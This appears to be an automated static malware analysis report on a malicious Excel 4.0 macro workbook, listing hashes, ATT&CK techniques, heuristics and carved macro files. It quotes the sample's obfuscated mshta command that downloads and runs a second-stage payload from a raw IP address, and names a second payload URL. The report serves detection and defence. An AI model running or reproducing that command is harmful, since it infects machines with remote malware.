Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e5a3a8922d470662…

MALICIOUS

Office (OLE) / .XLS

63.9 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 23d7c5e4ae8dedf40fe770ca0a2ca672 SHA-1: ff6031588d61a7621f8e06d0ae5dce0da7449097 SHA-256: e5a3a8922d470662b57701639d8846c27344844926c2dd52a3442420d66dbe32
108 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an "Enable Editing" lure to trick the user into enabling macros. Upon enabling, an Auto_Open macro is triggered which reconstructs and executes the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.85.100/oo/oo.html'. This command is designed to download and execute a second-stage payload from the specified URL. A similar command is also defined using SET.NAME, pointing to 'http://87.251.86.178/pp/bb.html'.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
de81f8962b42018d50fc3f858c62f78dac7c27a8d9c6bc0ba2b69c5b8c8e6d84
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1240 bytes
macros.bas
faef16cfc3b69e6dacc60198a7ccc61c4bb61c8632529929cd74db2189ccdc82
vba-macro oletools.olevba.extract_macros (decoded VBA source) 906 bytes